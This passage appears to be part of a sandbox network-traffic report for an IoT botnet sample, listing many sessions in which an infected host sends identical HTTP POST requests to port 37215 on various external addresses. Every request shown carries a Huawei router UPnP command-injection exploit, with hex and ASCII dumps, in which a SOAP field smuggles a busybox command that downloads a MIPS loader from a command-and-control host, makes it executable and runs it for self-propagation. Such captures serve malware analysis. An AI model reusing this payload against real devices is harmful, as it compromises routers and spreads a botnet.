6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	52630	41.91.188.230	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474905968 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	35662	197.19.217.137	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474926949 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	42406	41.178.227.250	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474957943 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	43714	156.225.171.173	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474977970 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	36684	197.53.18.10	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.475003004 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	47240	156.184.33.107	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.475019932 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	48064	41.218.80.154	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.487653017 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	44796	197.65.19.126	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.487675905 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	56664	41.1.26.153	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.487716913 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	40094	156.91.171.80	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.487761021 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l 